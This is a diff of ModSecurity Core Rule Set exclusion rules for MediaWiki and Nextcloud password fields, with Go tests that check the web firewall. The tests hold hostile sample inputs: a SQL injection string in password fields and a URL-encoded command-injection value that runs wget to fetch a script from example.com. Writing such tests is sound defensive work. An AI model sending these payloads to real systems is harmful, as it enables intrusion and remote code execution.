||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/Special:(?:CreateAccount|UserLogin)(?:/|$)" \
|
||||
"id:900920,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?Special:(?:CreateAccount|UserLogin)(?:/|$)" "chain"
|
||||
SecRule &ARGS_GET:retype "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:retype"
|
||||
|
||||
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
|
||||
# or prependtext, and the REST API in the JSON field source. Each of these
|
||||
# rules refused saving or previewing a page whose wikitext held a template, a
|
||||
|
||||
@@ -3,7 +3,6 @@ package coreruleset_test
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -25,12 +24,6 @@ const mediawikiUpload = "/wiki/Special:Upload"
|
||||
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
||||
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
||||
|
||||
// mediawikiAccountChange is the page that changes a password.
|
||||
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
|
||||
|
||||
// mediawikiSignUp is the page that creates an account.
|
||||
const mediawikiSignUp = "/wiki/Special:CreateAccount"
|
||||
|
||||
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
||||
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
||||
|
||||
@@ -49,10 +42,16 @@ const (
|
||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||
)
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||
// each in the query, on a path where it skips them, ending in "=".
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiQueryFields = []string{
|
||||
@@ -137,9 +136,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
|
||||
// each in a form data body, on a path where it skips them.
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiBodyFields = []mediawikiBodyField{
|
||||
@@ -147,11 +146,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiUpload, "wpUploadDescription="},
|
||||
{mediawikiUpload, "wpDestFile="},
|
||||
{mediawikiSignIn, "wpName="},
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{mediawikiMove, "wpOldTitle="},
|
||||
{mediawikiMove, "wpNewTitleMain="},
|
||||
{mediawikiMove, "wpReason="},
|
||||
{mediawikiBlock, "wpTarget="},
|
||||
{mediawikiSignInPage, "wpName="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiUploadPage, "wpDestFile="},
|
||||
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
||||
{mediawikiAPI, "title="},
|
||||
@@ -164,18 +165,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiAPI, "reason="},
|
||||
{mediawikiAPI, "user="},
|
||||
{mediawikiAPI, "lgname="},
|
||||
{mediawikiAPI, "username="},
|
||||
}
|
||||
|
||||
// mediawikiPasswordFields are the passwords, which skip the four rules and the
|
||||
// rules that random passwords set off. mediawikiPasswordFields sends each in a
|
||||
// form data body, on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mediawikiPasswordFields = []mediawikiBodyField{
|
||||
{mediawikiSignIn, "wpPassword="},
|
||||
{"/w" + mediawikiSignInPage, "wpPassword="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, "username="},
|
||||
{mediawikiAPI, passwordField},
|
||||
}
|
||||
|
||||
@@ -242,77 +233,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The form that changes a password posts to this subpage.
|
||||
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
|
||||
|
||||
change := []string{passwordKey, retypeKey}
|
||||
retype := []string{retypeKey}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{mediawikiSignUp, formData, retype},
|
||||
{"/index.php/Special:CreateAccount", formData, retype},
|
||||
{"/index.php?title=Special:CreateAccount&returnto=Main_Page", formData, retype},
|
||||
{"/wiki/Special:UserLogin", formData, retype},
|
||||
{mediawikiSignIn, formData, retype},
|
||||
{mediawikiAccountChange, formData, change},
|
||||
{mediawikiAccountChange + subpage, formData, change},
|
||||
{"/index.php/Special:ChangeCredentials", formData, change},
|
||||
{"/index.php?title=Special:ChangeCredentials" + subpage, formData, change},
|
||||
{"/w/index.php?title=Special:ChangeCredentials", formData, change},
|
||||
{mediawikiAPI, formData, retype},
|
||||
})
|
||||
}
|
||||
|
||||
// Other apps use the names password and retype too. So these fields keep every
|
||||
// rule on any page that does not take them, whatever title the query names.
|
||||
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const appPath = "/index.php/apps/mail/api/accounts"
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, sent := range []struct{ target, name string }{
|
||||
{appPath, passwordKey},
|
||||
{appPath, retypeKey},
|
||||
{appPath + "?title=Special:ChangeCredentials", passwordKey},
|
||||
{appPath + "?title=Special:CreateAccount", retypeKey},
|
||||
{"/index.php?title=Main_Page", passwordKey},
|
||||
{"/index.php/Main_Page", retypeKey},
|
||||
{"/wiki/Main_Page", passwordKey},
|
||||
{"/wiki/Special:ChangeCredentialsExample", passwordKey},
|
||||
{mediawikiSignUp, passwordKey},
|
||||
{"/index.php?title=Special:CreateAccount", passwordKey},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
body := formBody(sent.name, "' OR '1'='1")
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range mediawikiPasswordFields {
|
||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
name := strings.TrimSuffix(sent.field, "=")
|
||||
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
||||
// fields that skip the other command rules, as a query value.
|
||||
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
@@ -333,8 +253,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
|
||||
mediawikiPasswordFields) {
|
||||
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||
@@ -392,8 +311,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiPasswordFields)
|
||||
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
||||
mediawikiWikitextFields...)
|
||||
|
||||
for _, sent := range fields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
@@ -61,141 +61,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||
|
||||
# The password, in the body, skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
"id:900125,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:password "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
||||
|
||||
# The other passwords, in form data or JSON, skip the same rules:
|
||||
# password: confirming the password, resetting it, checking a sign-in with
|
||||
# person/check, a public share's password, setting a share's password or
|
||||
# sending it by email, creating or editing a user, and an administrator
|
||||
# changing a user's password
|
||||
# oldpassword, newpassword: changing the password on the settings page
|
||||
# oldPassword, newPassword: changing an expired LDAP password, and changing
|
||||
# the password of the encryption app's private key or recovery key
|
||||
# recoveryPassword: an administrator changing the password of an encrypted
|
||||
# account, or setting the encryption app's recovery key
|
||||
# confirmPassword: the encryption app's recovery key, typed again
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/set/[^/]+/[^/]+|settings/(?:personal|users)/changepassword|s/[^/]+/authenticate/[^/]+|apps/user_ldap/renewpassword|apps/encryption/ajax/(?:updatePrivateKeyPassword|changeRecoveryPassword|adminRecovery))$|^/ocs/v[12]\.php/(?:person/check|core/apppassword/confirm|cloud/users(?:/[^/]+)?|apps/files_sharing/api/v1/shares(?:/[^/]+(?:/send-email)?)?)$" \
|
||||
"id:900126,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
|
||||
|
||||
# Editing a user through the OCS API can name the password as the field to
|
||||
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||
# sends key once, so a second key cannot skip these rules for another field.
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||
"id:900127,phase:2,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
|
||||
|
||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||
"id:900103,phase:1,pass,nolog,\
|
||||
|
||||
@@ -16,9 +16,6 @@ import (
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudSignIn is the sign-in page.
|
||||
const nextcloudSignIn = "/login"
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
@@ -51,6 +48,12 @@ const (
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
@@ -80,7 +83,8 @@ var nextcloudQueryFields = []string{
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{nextcloudSignIn, "user="},
|
||||
{"/login", "user="},
|
||||
{"/login", passwordField},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
@@ -297,17 +301,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
||||
return scores
|
||||
}
|
||||
|
||||
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
||||
// bodies, gives signing in with value, a query value, as the password.
|
||||
func nextcloudPasswordScore(t *testing.T, value string) int {
|
||||
t.Helper()
|
||||
|
||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -317,125 +310,6 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
||||
t.Errorf("password %s refused: %d", value, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudPasswordPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
